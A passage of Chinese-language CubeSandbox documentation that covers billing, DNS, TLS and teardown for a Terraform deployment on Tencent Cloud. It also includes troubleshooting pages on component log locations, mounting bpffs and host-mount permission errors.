| `instance_charge_type` | `POSTPAID_BY_HOUR` | 按小时按量 | | 云数据库 MySQL | `charge_type` | `POSTPAID` | 按量计费 | | 云数据库 Redis | `charge_type` | `POSTPAID` | 按量计费 | | NAT 网关 EIP | `internet_charge_type` | `TRAFFIC_POSTPAID_BY_HOUR` | 按流量按量 | | CLB（cube-proxy） | 注解 | `TRAFFIC_POSTPAID_BY_HOUR` | 按流量按量（仅公网模式下生效；内网模式无此注解） | 之所以默认使用按量计费，是因为本部署面向**快速评估**场景：用完即可通过 `destroy.sh`（即 `terraform destroy`）完全释放，避免持续计费。 ### 如何改为包年包月 如果确定长期使用，可手动修改 `terraform/tencentcloud/main.tf` 中对应资源的计费字段，以获得更优价格。示例： ```hcl # CVM 改为包年包月 resource "tencentcloud_instance" "compute" { instance_charge_type = "PREPAID" instance_charge_type_prepaid_period = 1 # 1 个月 instance_charge_type_prepaid_renew_flag = "NOTIFY_AND_AUTO_RENEW" # 到期自动续费 # ... } # MySQL 改为包年包月 resource "tencentcloud_mysql_instance" "mysql" { charge_type = "PREPAID" prepaid_period = 1 # 1 个月 auto_renew_flag = 1 # 自动续费 # ... } # Redis 改为包年包月 resource "tencentcloud_redis_instance" "redis" { charge_type = "PREPAID" prepaid_period = 1 auto_renew_flag = 1 # ... } ``` ::: danger 包年包月注意事项 * 包年包月资源**不会**被 `destroy.sh`（`terraform destroy`）自动退费/释放，需要手动到期释放或在控制台退费。 * 切换后执行 `destroy.sh` 可能报错或留下残留资源，需在[腾讯云控制台](https://console.cloud.tencent.com/)手动处理。 * 建议仅在确认长期使用时才切换；评估 / 验证阶段请保持默认的按量计费。 ::: ## 成本估算 刊例价会随地域、规格档位、活动和时间变动，本文不内置具体价格。请使用腾讯云官方价格计算器，按[默认配置创建的资源明细](#默认配置创建的资源明细)中的规格自行测算： * [腾讯云价格计算器（总入口）](https://buy.cloud.tencent.com/price) * [云服务器 CVM 价格](https://buy.cloud.tencent.com/price/cvm) — 跳板机、计算节点、TKE worker * [容器服务 TKE 价格说明](https://cloud.tencent.com/document/product/457/45157) — 托管集群管理费 * [云数据库 MySQL 价格](https://buy.cloud.tencent.com/price/cdb) ／ [云数据库 Redis 价格](https://buy.cloud.tencent.com/price/redis) * [NAT 网关](https://cloud.tencent.com/document/product/552/31978) ／ [负载均衡 CLB](https://cloud.tencent.com/document/product/214/8848) ／ [弹性公网 IP](https://cloud.tencent.com/document/product/1199/41648) 价格 * [文件存储 CFS 价格](https://buy.cloud.tencent.com/price/cfs) ／ [容器镜像服务 TCR 价格](https://cloud.tencent.com/document/product/1141/41109) ::: tip 控制成本 所有资源默认按量计费（按秒计费、按小时结算），评估完成后立即 `destroy.sh` 释放即可避免空转计费；长期使用可参照[计费模式](#计费模式)改为包年包月。 ::: ## 部署流程（分阶段、快速失败） 资源按以下顺序创建，任一阶段失败即停止： > 网络（VPC / 子网 / NAT）→ **（`USE_TCR=true` 时）** TCR → CVM（跳板机 + 计算节点）→ **（TCR 模式）** 跳板机上构建并推送镜像 → MySQL / Redis → **（`USE_CFS=true` 时）** CFS 共享存储 → TKE 集群 + Kubernetes 插件 → 健康检查 → 计算节点安装。 * Kubernetes provider 只在 TKE API Server 就绪后才接入。 * 拆除时，**若创建了 CFS**，共享存储会先于其子网销毁（其 NFS 挂载点是该子网内的一个 ENI）。 * Terraform 状态保存在本地 `terraform/tencentcloud/`（`*.tfstate`，已被 gitignore，无远端后端）。请妥善保留该目录与生成的 `.env`，以便后续 `destroy.sh` 或重跑能找到并管理同一批资源。 * 解析后的选择会保存到 `terraform/tencentcloud/.env` 并在下次运行时自动加载；显式设置的环境变量始终优先。 ## 部分失败后的重试 若某阶段中途失败（如所选地域/可用区机型售罄、账号配额限制或瞬时 API 错误），**无需**全部销毁重来： * 修复原因——多数情况下是**调整配置**：换一个 `TENCENTCLOUD_AVAILABILITY_ZONE` / `TENCENTCLOUD_COMPUTE_INSTANCE_TYPE` / `TENCENTCLOUD_REGION`、提升配额、设置密码等，然后直接**重跑 `./terraform/tencentcloud/create.sh`**。 * 重跑时 `create.sh` 会重新加载 `.env` 中的选择，将状态与云上已存在的资源对账（刷新并导入有状态资源，而非重建），并**从中断处继续**。已有计算节点会保留（绝不缩容）。 * 可用性确实因地域**和**可用区而异——某可用区提供的机型在另一可用区可能不可用。交互式的可用区 / 机型菜单按你的地域实时查询，最终选择在 apply 时校验。 * 仅在确实要拆除部署时才运行 `destroy.sh`；普通重试之间无需运行它。 ## E2B 与 cube.app 域名 单机 one-click 安装会通过 CoreDNS + split DNS 在宿主机上解析 `*.cube.app`。**Terraform 集群版默认不包含这套 DNS 配置**；若要通过 E2B 官方 SDK 创建/访问 sandbox，需要额外配置域名解析（通常需开通 [Private DNS](#3-私有域解析-private-dns按需)）。 ### 背景 * cube-proxy 为 `cube.app` / `*.cube.app` 终结 TLS（证书由 `create.sh` 在跳板机用 mkcert 生成，或通过 BYO 证书替换）。 * E2B SDK 访问 sandbox 时使用形如 `https://<sandbox-id>.cube.app` 的 URL。 * 默认 `TENCENTCLOUD_ENABLE_PUBLIC_NETWORK=false` 时，cube-proxy CLB 是 **VPC 内网 VIP**，只有 VPC 内（或经跳板机 / VPN）才能访问。 ### 获取 CLB 地址 部署完成后，在 `terraform/tencentcloud/` 目录执行： ```bash cd terraform/tencentcloud terraform output tke_cube_proxy_clb_ip # cube-proxy terraform output tke_cube_api_clb_ip # cube-api（E2B_API_URL） terraform output tke_cube_webui_clb_ip # WebUI terraform output tke_cubemaster_clb_ip # cube-master（VPC 内网） terraform output jumpserver_ssh_command # 跳板机 SSH 命令 ``` `create.sh` 完成时也会打印上述入口。 ### 方案一：Private DNS（推荐，VPC 内访问） 适用于客户端在 VPC 内、或通过跳板机 / VPN 接入 VPC 的场景。 1. 登录 [DNSPod → 内网解析](https://console.dnspod.cn/privateDNS)，创建私有域 `cube.app`。 2. 添加 **A 记录**：主机记录 `*`，记录值为 `terraform output tke_cube_proxy_clb_ip` 输出的内网 VIP；可选再添加主机记录 `@` 指向同一 VIP。 3. 将该私有域**关联到 CubeSandbox 部署所在的 VPC**（可在 [VPC 控制台](https://console.cloud.tencent.com/vpc) 确认 VPC ID）。 4. 在 VPC 内的跳板机或计算节点上验证： ```bash dig +short test.cube.app curl -k https://test.cube.app/ # 自签名证书需 -k 或信任 mkcert CA ``` ### 方案二：/etc/hosts（仅测试） 在运行 E2B SDK 的机器上（需能路由到 cube-proxy CLB 内网 VIP）手动绑定若干 sandbox 域名。泛域名无法完整覆盖所有 sandbox ID，**不适合多 sandbox 并发测试**。 ### 方案三：公网 CLB + 公网 DNS 1. 设置 `TENCENTCLOUD_ENABLE_PUBLIC_NETWORK=true` 重新部署（会重建 CLB，VIP 变化）。 2. 在公网 DNS 中将 `cube.app` / `*.cube.app` 解析到公网 CLB VIP。 3. 替换 `terraform/tencentcloud/cubeproxy-certs/` 中的证书为公网 CA 签发的正式证书（见[高级：自带 cube-proxy TLS 证书](#高级自带-cube-proxy-tls-证书)）。 4. 启用前请阅读[公网服务加固建议](#公网服务加固建议)。 ### E2B SDK 环境变量 ```bash export E2B_API_URL=http://<cube-api-clb-vip>:3000 export E2B_API_KEY=e2b_000000 ``` **注意：** E2B SDK 访问 sandbox 本身走 `*.cube.app` → cube-proxy，因此 **cube.app 域名解析与 TLS 证书** 是必须项，仅配置 `E2B_API_URL` 不够。更多接入方式见[从客户端连接集群](./multi-node-deploy.md#从客户端连接集群)。 | 能力 | 单机 one-click | Terraform 集群版 | |------|----------------|------------------| | `*.cube.app` 解析 | 自动（CoreDNS + split DNS） | **需手动配置** PrivateDNS / hosts / 公网 DNS | | TLS 证书 | 宿主机 mkcert | 跳板机 mkcert → K8s Secret 挂载 | | cube-api 地址 | `http://<host>:3000` | cube-api CLB 内网 / 公网 VIP | ## 验证 部署完成后，`create.sh` 会执行健康检查并打印访问入口（cube-api、cube-webui 等的 CLB 地址）。你也可以通过跳板机进入 VPC 内网进行排查： ```bash # create.sh 会输出形如下面的命令 ssh -i terraform/tencentcloud/.ssh/id_rsa -p 443 -o StrictHostKeyChecking=no root@<jumpserver_public_ip> ``` ## 拆除部署 ```bash ./terraform/tencentcloud/destroy.sh ``` `destroy.sh` 同样需要 `TENCENTCLOUD_SECRET_ID` / `TENCENTCLOUD_SECRET_KEY`，并复用 `create.sh` 保存到 `terraform/tencentcloud/.env` 的选择。它无需额外确认——运行 `destroy.sh` 本身即表示确认拆除。 ::: danger 避免意外计费 如果 `destroy.sh` 无法删除全部资源（例如 MySQL/Redis 卡在回收站/隔离状态，或 Terraform 已无法感知的残留），请登录腾讯云控制台手动删除剩余资源，以免被持续计费： * [VPC / 网络](https://console.cloud.tencent.com/vpc) * [MySQL 回收站](https://console.cloud.tencent.com/cdb/recycle) * [Redis 回收站](https://console.cloud.tencent.com/redis/recycle) * [CFS 文件系统](https://console.cloud.tencent.com/cfs)（若曾启用 `USE_CFS=true`） 当某个拆除步骤失败或回收站清理未确认时，`destroy.sh` 也会打印这些链接。 ::: ## 高级：自带 cube-proxy TLS 证书 `cube-proxy` 为 `cube.app` / `*.cube.app` 终止 TLS，其内置 nginx 配置硬编码了证书路径 `…/certs/cube.app+3.pem` 与 `…/certs/cube.app+3-key.pem`： * **默认**：`create.sh` 在跳板机上用内置 `mkcert` 生成**自签名**证书对（SAN：`cube.app`、`*.cube.app`、`localhost`、`127.0.0.1`），下载到 `terraform/tencentcloud/cubeproxy-certs/`，Terraform 将该目录下所有文件打包进 `cubeproxy-certs` Secret（因含 TLS 私钥，用 Secret 而非 ConfigMap），以只读方式挂载到 cube-proxy pod 的 `/usr/local/openresty/nginx/certs/`。 * **自带证书**：运行 `create.sh` 前，把你的 PEM 证书 + 私钥放入 `terraform/tencentcloud/cubeproxy-certs/`，文件名必须正好是 `cube.app+3.pem` 与 `cube.app+3-key.pem`（nginx 期望的名字），并覆盖 `cube.app` 与 `*.cube.app` 这两个 SAN。`create.sh` 会复用已有文件而不重新生成，因此 CA 签发的证书会被原样使用，不再有自签名告警。 * **轮换证书**：替换这两个文件并重跑 `create.sh`；部署阶段会刷新 `cubeproxy-certs` Secret 并重启 cube-proxy 以加载新证书。自签名默认证书会在浏览器/客户端触发"不受信任 CA"告警，任何非用完即弃的场景都应替换它。 ## 故障排查 部署相关的常见问题（Docker、KVM、DNS、配额等）请参阅[故障排障 — 部署相关](./troubleshooting/deployment.md)。 --- --- url: https://cubesandbox.com/zh/guide/troubleshooting.md --- # 故障排障 ::: warning 必须同时提交中英文 本栏目所有投稿都必须同时包含 `docs/guide/troubleshooting/` 下的英文文件和 `docs/zh/guide/troubleshooting/` 下的中文文件。只更新单一语言的 PR 不会被合并。 ::: 这里收录 Cube Sandbox 在部署、使用与运维过程中遇到的真实问题与解决方案。我们更欢迎可复现、可验证、可直接落地的排障经验。 ## 主题聚合 按主题归类的高频问题索引表，每行链接到对应的 GitHub Issue： * [部署相关排障](./deployment.md) * [模板相关排障](./templates.md) ## 适合收录的内容 * 部署失败与环境相关坑位 * 运行时报错、网络问题、鉴权问题 * 升级回归、版本兼容性说明与恢复方法 * 来自真实事故或高频咨询的 FAQ 式运维指南 ## 如何贡献 1. 复制当前目录下的 `_template.md`，并改名为英文 kebab-case 文件名，例如 `e2b-api-401-timeout.md`。 2. 同时创建这两个文件： * `docs/guide/troubleshooting/<slug>.md` * `docs/zh/guide/troubleshooting/<slug>.md` 3. 中英文文件名必须保持一致，便于双语站点保持 URL 对应关系。 4. 按要求填写 frontmatter，并完成排障说明各章节。 5. 在中英文两个索引页的文章列表中各追加一行。 6. 提交 PR 时请补充足够背景，方便 reviewer 验证问题与修复方式。 ## 命名与 frontmatter 规范 * 文件名必须使用英文 kebab-case。 * 不允许使用中文文件名。 * 中英文目录必须使用相同 slug。 * 两个语言版本的 frontmatter key 应保持一致。 ```md --- title: 反向代理场景下 E2B API 401 超时 author: your-github-id date: 2026-05-14 tags: - api - auth - reverse-proxy lang: zh-CN --- ``` ## 已发布文章 | 标题 | 作者 | 日期 | 标签 | | --- | --- | --- | --- | | [沙箱网段和局域网冲突导致创建模板超时](./local-network-cidr-conflict.md) | luzhixing12345 | 2026-05-20 | deployment, networking, one-click | | [Host Mount 写入时报 Permission Denied](./host-mount-permissions.md) | barry166 | 2026-06-14 | runtime, host-mount, permissions | | [如何查看 CubeSandbox 各组件日志（含 cubecli logs 与 guest kernel log）](./component-log-locations.md) | ls-ggg | 2026-07-15 | logging, cubelet, cubeshim, operations | | *在这里补充你的文章* | - | - | - | --- --- url: https://cubesandbox.com/zh/guide/troubleshooting/component-log-locations.md --- # 如何查看 CubeSandbox 各组件日志（含 cubecli logs 与 guest kernel log） ## 问题现象 CubeSandbox 由多个组件组成（CubeAPI、CubeMaster、Cubelet、CubeShim、Hypervisor/VMM、Cubelet 内置 network runtime、cube-proxy），排障时经常搞不清楚"这条报错该去哪个日志文件里找"，也不知道 guest kernel 的启动日志在哪里查看，以及 Cubelet 默认日志级别较低（`warn`），复现问题时看不到足够细节。 本文汇总一键部署（systemd 托管）场景下，各组件日志的**确切路径**，并说明如何用 `cubecli logs` 查看沙箱/模板日志，如何在 guest kernel 日志里定位启动信息，以及如何给 Cubelet 开启 debug 级别日志。 ## 环境信息 * Cube Sandbox 版本：v0.4.0 及以上（一键部署，systemd 托管） * 部署模式：all-in-one / 多机集群，均适用 * 宿主机 OS / 内核：运行 Cubelet 的 Linux 宿主机 * 相关组件：CubeAPI、CubeMaster、Cubelet、CubeShim、Hypervisor(VMM)、Cubelet 内置 network runtime、cube-proxy ## 根因分析 CubeSandbox 的日志分成三类，来源和查看方式完全不同： 1. **业务行为日志**：请求、调度、审计、VMM 创建过程等，各组件直接写文件到 `/data/log/<Module>/`，**不会**进 `journalctl`。 2. **启动期日志**：进程被 systemd 拉起到稳定运行（或失败退出）期间的 stdout/stderr，只能用 `journalctl -u <unit>` 查看。 3. **容器沙箱/模板日志**：沙箱内 init 进程（容器 PID 1）的 stdout/stderr，由 CubeShim 写入 Cubelet 的私有挂载命名空间内，必须用 `cubecli logs` 读取；模板构建日志则落在宿主机文件系统，无需进命名空间。 guest kernel（虚拟机内核）的启动日志本质上也是一种"容器 init 进程输出"：CubeShim 会把 guest kernel 通过 `console=hvc0` 输出的内容（包括 `Linux version ...` 之类的启动信息）转发进同一条 `cube-shim-req.log`，因此 **guest kernel log 直接在 CubeShim 的 log 里就能看到**，不需要额外工具。 Cubelet 默认日志级别较低（`warn`），常规运行时不会打印详细的调试信息；打开 debug 级别有两种方式：改动态配置文件热更新，或者用内置的 HTTP 接口临时切换（无需重启）。 ## 解决方案 ### 1. 各组件日志速查表 | 组件 | 日志类型 | 路径 | 查看方式 | |---|---|---|---| | CubeAPI | 业务请求日志（按天滚动） | `/data/log/CubeAPI/cube-api-YYYY-MM-DD.log` | `tail -F` | | CubeMaster | 业务请求日志 | `/data/log/CubeMaster/cubemaster-req.log` | `tail -F` | | CubeMaster | 启动期日志 | `/data/log/CubeMaster/cubemaster.log` | `tail -F` | | Cubelet | 业务请求日志 | `/data/log/Cubelet/Cubelet-req.log` | `tail -F` | | Cubelet | 统计/指标日志 | `/data/log/Cubelet/Cubelet-stat.log` | `tail -F` | | Cubelet | 启动期日志 | — | `journalctl -u cube-sandbox-cubelet.service` | | CubeShim | 业务请求日志（含 guest kernel 输出） | `/data/log/CubeShim/cube-shim-req.log` | `tail -F` | | CubeShim | 统计日志 | `/data/log/CubeShim/cube-shim-stat.log` | `tail -F` | | Hypervisor (VMM) | VMM 创建过程日志 | `/data/log/CubeVmm/vmm.log` | `tail -F` | | cube-proxy | 访问/错误日志 | `/data/log/cube-proxy/{access,error}.log` | `tail -F`（见下文） | | 沙箱容器 | init 进程 stdout/stderr | `/data/cubelet/state/io.containerd.runtime.v2.task/default/<sandbox-id>/{stdout,stderr}`（Cubelet 挂载命名空间内） | `cubecli logs <sandbox-id>`（见下文） | | 模板构建 | 构建容器 stdout/stderr | `/data/log/template/<template-id>_0/{stdout,stderr}`（宿主机文件系统） | `cubecli logs --tpl <template-id>` | ::: tip 业务日志不在 journalctl 和 `docs/zh/guide/service-management.md` 中说明的一致：以上业务/请求类日志**全部直接写到 `/data/log/<Module>/`**，`journalctl` 里只能看到进程启动/退出期间很少量的 stdout/stderr。 ::: ### 2. 用 `cubecli logs` 查看沙箱 / 模板日志 `cubecli` 随 Cubelet 一同构建，一键部署时自动安装。沙箱日志文件位于 Cubelet 的私有挂载命名空间内，因此 `cubecli logs` **必须直接在计算节点上执行**，无法远程调用。 ```bash # 沙箱 stdout，最后 100 行（默认） cubecli logs <sandbox-id> # 沙箱 stderr，最后 100 行 cubecli logs --stderr <sandbox-id> # 沙箱完整日志 cubecli logs --all <sandbox-id> # 沙箱最后 N 行 / 前 N 行 cubecli logs --tail 50 <sandbox-id> cubecli logs --head 20 <sandbox-id> # 模板构建日志：直接读宿主机文件系统，跳过命名空间切换 cubecli logs --tpl <template-id> cubecli logs --tpl --all --stderr <template-id> ``` 参数说明： | 参数 | 简写 | 说明 | |---|---|---| | `--tpl` | — | 把 id 当作模板 ID，从 `/data/log/template/<id>_0/` 读取，无需进命名空间 | | `--stderr` | `-e` | 读取 stderr，默认读取 stdout | | `--all` | `-a` | 输出全部行；不可与 `--tail`/`--head` 同时使用 | | `--tail N` | `-t N` | 输出最后 N 行（默认 100） | | `--head N` | `-H N` | 输出前 N 行 | `cubecli logs` 只覆盖\*\*容器 init 进程（PID 1）\*\*的输出。通过 E2B `exec` 接口在沙箱内启动的子任务，其 stdout/stderr 需要用 E2B SDK 的 `on_stdout`/`on_stderr` 回调获取，不在本文范围内，详见 [沙箱日志](../sandbox-logs.md)。 沙箱删除后，对应日志文件会一并清除；日志转发需要 v0.4.0 及以上版本的 CubeShim。 ### 3. Guest kernel 日志：直接在 CubeShim log 里看 CubeShim 在启动虚拟机时，通过内核参数 `console=hvc0` 把 guest 内核的控制台输出接管过来，和沙箱容器 init 进程日志一样，统一写进 CubeShim 的请求日志文件： ```bash LC_ALL=C sudo grep -a -E "(<sandbox-id 或 InstanceId>|Linux version)" /data/log/CubeShim/cube-shim-req.log ``` `cube-shim-req.log` 是逐行 JSON，日志本体在 `LogContent` 字段里。典型的 guest 内核启动记录形如： ```json {"Module":"Shim","InstanceId":"<sandbox-id>","ContainerId":"<sandbox-id>","Timestamp":"...","LogContent":"[ 0.000000] Linux version 6.12.33-cube.sandbox.pvm.guest-... #2 SMP PREEMPT_DYNAMIC ...","FunctionType":""} ``` 按 `InstanceId`（即 sandbox ID）过滤即可拿到对应沙箱完整的内核启动输出，包括设备探测、`EXT4-fs`、`rootfs` mount 等信息，无需额外工具或进入命名空间。 ::: tip 为什么在这里，不在别处 `console=hvc0` 是虚拟机的串口控制台，内核所有 `printk` 输出都会走这条通路。CubeShim 把这条控制台流量直接转发进它自己的日志管道（和普通请求日志共用同一个 writer），所以查 guest kernel 日志不需要额外挂载或调试工具，直接 grep `cube-shim-req.log` 即可。 ::: ### 4. cube-proxy 宿主机日志 `cube-proxy` 是基于 OpenResty 的 nginx 容器。一键部署会将宿主机目录 `/data/log/cube-proxy/` bind mount 到容器内同一路径，可以直接从宿主机读取日志： ```bash tail -F /data/log/cube-proxy/error.log tail -F /data/log/cube-proxy/access.log ``` 容器内仍使用同一个 `/data/log/cube-proxy/` 路径，底层由宿主机目录提供。 | 文件 | 内容 | |---|---| | `access.log` | nginx 访问日志 | | `error.log` | nginx 错误日志 | ### 5. 开启 Cubelet debug 级别日志 Cubelet 默认日志级别是 `warn`，排障时往往需要临时调高到 `debug` 才能看到足够的调试信息。有两种方式，二者都**不需要重启 Cubelet 进程**： #### 方式一：改动态配置文件（持久生效，热加载） Cubelet 会以 10 秒为周期轮询动态配置文件 `dynamicconf/conf.yaml`，检测到变化后自动热加载并调用日志级别更新逻辑。在 `common:` 段落下加一行 `log_level`： ```yaml common: enable_pf_mode: false log_level: debug # 新增这一行 sandbox_exec_cmd_time_out: 5s ... ``` 一键部署环境下该文件的默认路径是： ``` /usr/local/services/cubetoolbox/Cubelet/dynamicconf/conf.yaml ``` 保存后等待约 10 秒（配置轮询周期），Cubelet 会自动切到 debug 级别，此后 `/data/log/Cubelet/Cubelet-req.log` 会打出更细粒度的记录。debug 级别可能使单次请求的日志量放大一个数量级，高吞吐场景下会带来磁盘 I/O 争用和 CPU 开销——开启 debug 期间建议关注 `/data/log/` 磁盘占用。排障结束后记得把这一行删掉或改回 `info`/`warn`，避免长期产生大量日志。 #### 方式二：调试端口临时切换（不改文件，进程重启后失效） Cubelet 内置了一个 debug HTTP 端口（默认监听 `:9966`，对应 `config.toml` 里的 `[debug] address`），暴露了 `/debug/loglevel` 接口，可以直接调用来临时切换级别： ```bash # 切到 debug curl -X POST 'http://127.0.0.1:9966/debug/loglevel?level=debug' # 排障结束后切回 info curl -X POST 'http://127.0.0.1:9966/debug/loglevel?level=info' ``` 这种方式立即生效、无需等待轮询周期，但**只在当前进程生命周期内有效**——Cubelet 重启后会恢复到配置文件里写的级别（默认 `warn`）。适合临时抓一段现场，而不想改配置文件的场景。 同一个 debug 端口下还挂载了 `pprof` 相关的 profiling 接口（`/debug/pprof/*`），性能问题排查时也可以使用。**安全提示：** pprof 会暴露 goroutine 栈、堆内存 profile 和源码片段等信息——请确保 `:9966` 仅监听 localhost，不要通过反向代理暴露，也不要绑定到 `0.0.0.0`。 ::: warning 只对新启动的沙箱生效 无论用哪种方式切到 debug，**已经处于运行中的沙箱不会补出更详细的日志**——它们创建/启动阶段的日志早已按之前的级别打完，不会因为后来调高了级别而重新打印。要看到完整的 debug 级别日志，需要在切换级别**之后**重新创建/启动沙箱。因此排障时建议的顺序是：先切到 debug，再复现问题（新建沙箱触发问题场景），而不是对着一个已经在跑的沙箱切日志级别等日志变详细。 ::: ## 参考资料 * 相关文档： * [沙箱日志](../sandbox-logs.md) * [服务管理与日志](../service-management.md) * 相关代码： * `Cubelet/cmd/cubecli/commands/cubebox/logs.go`（`cubecli logs` 实现） * `Cubelet/services/server/server.go`（`/debug/loglevel` HTTP 接口） * `Cubelet/pkg/config/config.go`、`Cubelet/pkg/hotswap/file.go`（动态配置热加载） * `shim/src/log/mod.rs`（CubeShim 日志与 console 转发实现） * `shim/src/hypervisor/config.rs`（`console=hvc0` 内核参数配置） --- --- url: https://cubesandbox.com/zh/guide/troubleshooting/deployment.md --- # 部署相关排障 | 标题 | 描述 | 相关 Issues | | --- | --- | --- | | `/data/cubelet` 必须是 XFS（reflink） | `cubelet` 把 `/data/cubelet` 作为容器可写层的存储目录，依赖 XFS 的 reflink 特性。在 Ubuntu / Debian / WSL 等 ext4 根盘的环境上部署，one-click 前置检查会以 `not XFS` 报错退出。Workaround：用 loopback `.img` 格式化为 XFS 后挂到 `/data/cubelet`；生产建议挂独立 XFS 数据盘（100–300 GiB）；新装机器推荐 OpenCloudOS 9 / RHEL 系。 | [#311](https://github.com/TencentCloud/CubeSandbox/issues/311), [#245](https://github.com/TencentCloud/CubeSandbox/issues/245) | | 沙箱网段和局域网冲突导致创建模板超时 | one-click 部署默认沙箱网段是 `192.168.0.0/18`。如果宿主机局域网也使用 `192.168.1.x`，Cube 可能给沙箱分配到和真实局域网重叠的 IP 导致模板创建或端口探测以 `context deadline exceeded` 失败。将 Cubelet CIDR 改成不冲突的网段，并在重启前清理旧 TAP 网卡和 `cube-dev`。 | [指南](./local-network-cidr-conflict.md) | | 调整沙箱网段时的 CIDR 冲突（残留 cube-dev） | 停服后 `cube-dev` 网卡和 `z*` TAP 设备会残留；调整 `CUBE_SANDBOX_NETWORK_CIDR` 时若新网段与残留 `cube-dev` 重叠，预检会拦截并提示确定性清理（仅 reboot 不够）。相同网段重装会自动复用，不受影响。 | [指南](./local-network-cidr-conflict.md#调整沙箱网段时的-cidr-冲突残留-cube-dev) | | Ubuntu 上 cgroup v2 没启用 `cpu` controller，cubelet CPU quota 不生效 | Ubuntu / Debian 云镜像默认不会把 cgroup v2 的 `cpu` controller 委托到子 cgroup，且 `multipathd` 的 RT 线程会让 `+cpu` 写入返回 `Invalid argument`。详细复现和修复见 issue。 | [#366](https://github.com/TencentCloud/CubeSandbox/issues/366) | | bpffs 未挂载 | Cubelet 内嵌网络运行时会在 `/sys/fs/bpf` 下固定 eBPF 程序和 map；因此该目录不是 `bpf` 文件系统时，安装器会在修改系统前退出。 | [指南](#bpffs-未挂载) | ## bpffs 未挂载 Cubelet 内嵌网络运行时依赖 `/sys/fs/bpf` 挂载 `bpffs`（bpf 文件系统）以固定（pin）eBPF 程序与 Map。在 WSL2 或部分默认未挂载 `bpffs` 的极简 Linux 环境中部署时，one-click 预检会拦截并在修改系统前退出。 ### 1. 确认内核支持 先确认当前运行的内核是否支持 `bpf` 文件系统： ```bash grep -w bpf /proc/filesystems ``` 若命令无任何输出，说明当前内核未启用 eBPF/bpffs 支持（缺少 `CONFIG_BPF_SYSCALL`），需升级或更换支持 eBPF 的内核后再试。 ### 2. 挂载 bpffs 若内核支持，以 root 权限创建目录（若不存在）并执行挂载： ```bash mkdir -p /sys/fs/bpf mount -t bpf bpf /sys/fs/bpf ``` ### 3. 持久化配置（可选） 如需重启后保持挂载，可在 `/etc/fstab` 中添加如下配置： ```text bpf /sys/fs/bpf bpf defaults 0 0 ``` --- --- url: https://cubesandbox.com/zh/guide/troubleshooting/host-mount-permissions.md --- # Host Mount 写入时报 Permission Denied ## 问题现象 沙箱里可以看到 host mount 目录，但写入时报 `Permission denied`： ```text /bin/bash: line 1: /mnt/rw/1.txt: Permission denied ``` 常见复现方式是创建了一个可写 host mount： ```python import json from cubesandbox import Sandbox mounts = json.dumps([ { "hostPath": "/tmp/rw", "mountPath": "/mnt/rw", "readOnly": False, }, ]) with Sandbox.create(metadata={"host-mount": mounts}) as sandbox: sandbox.commands.run("echo hello > /mnt/rw/1.txt") ``` ## 环境信息 * Cube Sandbox 版本：v0.4.0 或更新版本 * 部署模式：one-click、裸金属或多机集群部署 * 宿主机 OS / 内核：运行 Cubelet 的 Linux 宿主机 * 相关组件：Cubelet、host mount metadata、沙箱命令执行用户 ## 根因分析 `metadata["host-mount"]` 会把 Cubelet 宿主机上的已有路径映射到沙箱内。它不会复制文件、创建工作区快照，也不会自动改写文件 owner。 对于读写挂载，Linux 文件权限仍然生效： * `hostPath` 必须已经存在于运行该沙箱的 Cubelet 节点上。 * 挂载目录会保留宿主机侧的 owner、group 和 mode bits。 * 沙箱里的命令默认以沙箱用户身份运行。 * 如果宿主机目录属于另一个 UID/GID，沙箱用户可能能读到目录，但不能写入。 例如 `/tmp/rw` 在宿主机上属于 `uid=1002`，但沙箱命令以 `uid=1000` 运行，即使 `readOnly` 是 `False`，写 `/mnt/rw` 也可能失败。 这是预期的 Linux 挂载行为。`readOnly` 只控制 Cube 用只读还是读写方式挂载目录；它不会绕过宿主机文件系统权限。 ## 解决方案 先确认 host path 确实存在于 Cubelet 节点上： ```bash sudo test -d /tmp/rw sudo stat -c 'owner=%u:%g mode=%a path=%n' /tmp/rw ``` 然后根据场景选择一种处理方式。 ### 方案 1：代码工作区优先使用只读挂载 如果 agent 只需要读取和分析代码，建议把工作区只读挂载进沙箱： ```python import json from cubesandbox import Sandbox mounts = json.dumps([ { "hostPath": "/srv/workspaces/my-repo", "mountPath": "/workspace", "readOnly": True, }, ]) with Sandbox.create(metadata={"host-mount": mounts}) as sandbox: result = sandbox.commands.run("ls /workspace") print(result.stdout) ``` 这是把宿主机仓库共享给沙箱时最安全的默认方式。 ### 方案 2：读写挂载时对齐目录 owner 如果沙箱必须把结果写回宿主机目录，需要让该目录对沙箱命令用户可写。 常见做法是准备一个由沙箱 UID/GID 拥有的专用宿主机目录： ```bash sudo mkdir -p /tmp/rw sudo chown 1000:1000 /tmp/rw sudo chmod 0755 /tmp/rw ``` 然后按读写方式挂载： ```python mounts = json.dumps([ { "hostPath": "/tmp/rw", "mountPath": "/mnt/rw", "readOnly": False, }, ]) ``` 如果你的沙箱镜像使用了不同用户，可以在沙箱内检查： ```python with Sandbox.create(metadata={"host-mount": mounts}) as sandbox: result = sandbox.commands.run("id && stat -c '%u:%g %a %n' /mnt/rw") print(result.stdout) ``` 再用实际输出的 UID/GID 准备宿主机目录。 ### 方案 3：宿主机 owner 不能改时使用 ACL 如果不能修改目录 owner，可以用 POSIX ACL 给沙箱 UID 授权： ```bash sudo setfacl -m u:1000:rwx /tmp/rw sudo setfacl -d -m u:1000:rwx /tmp/rw ``` 这样可以保留原有宿主机 owner，同时允许沙箱用户写入新文件。 ### 方案 4：仅在合适场景下用 root 写入 对于管理类操作，如果 SDK 路径和安全策略允许，可以指定以 `root` 执行命令： ```python with Sandbox.create(metadata={"host-mount": mounts}) as sandbox: sandbox.commands.run("echo hello > /mnt/rw/1.txt", user="root") ``` 只建议在可信 workload 中使用。它可能在 host mount 中创建 root-owned 文件，后续宿主机工具处理这些文件时可能会遇到权限差异。 ## 工作区映射注意事项 Host mount 是节点本地能力。在多机集群中，`hostPath` 必须存在于实际调度运行该沙箱的 Cubelet 节点上。 如果希望沙箱使用和本地开发机一致的仓库，可以选择： * 先把仓库同步到每个 Cubelet 节点上的固定目录，再挂载该目录。 * 使用共享存储，并确保所有 Cubelet 节点上路径一致。 * 如果沙箱只需要固定版本的代码快照，可以把仓库构建进 template image。 * 如果工作区较小且不需要写回宿主机，可以在运行时把文件复制进沙箱。 不要只依赖 `host-mount` 把本地笔记本上的文件传到远端 Cubelet 节点。 ## 参考 * 相关 issue：[#239](https://github.com/TencentCloud/CubeSandbox/issues/239) * 示例：[`examples/host-mount`](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/host-mount) --- --- url: >- 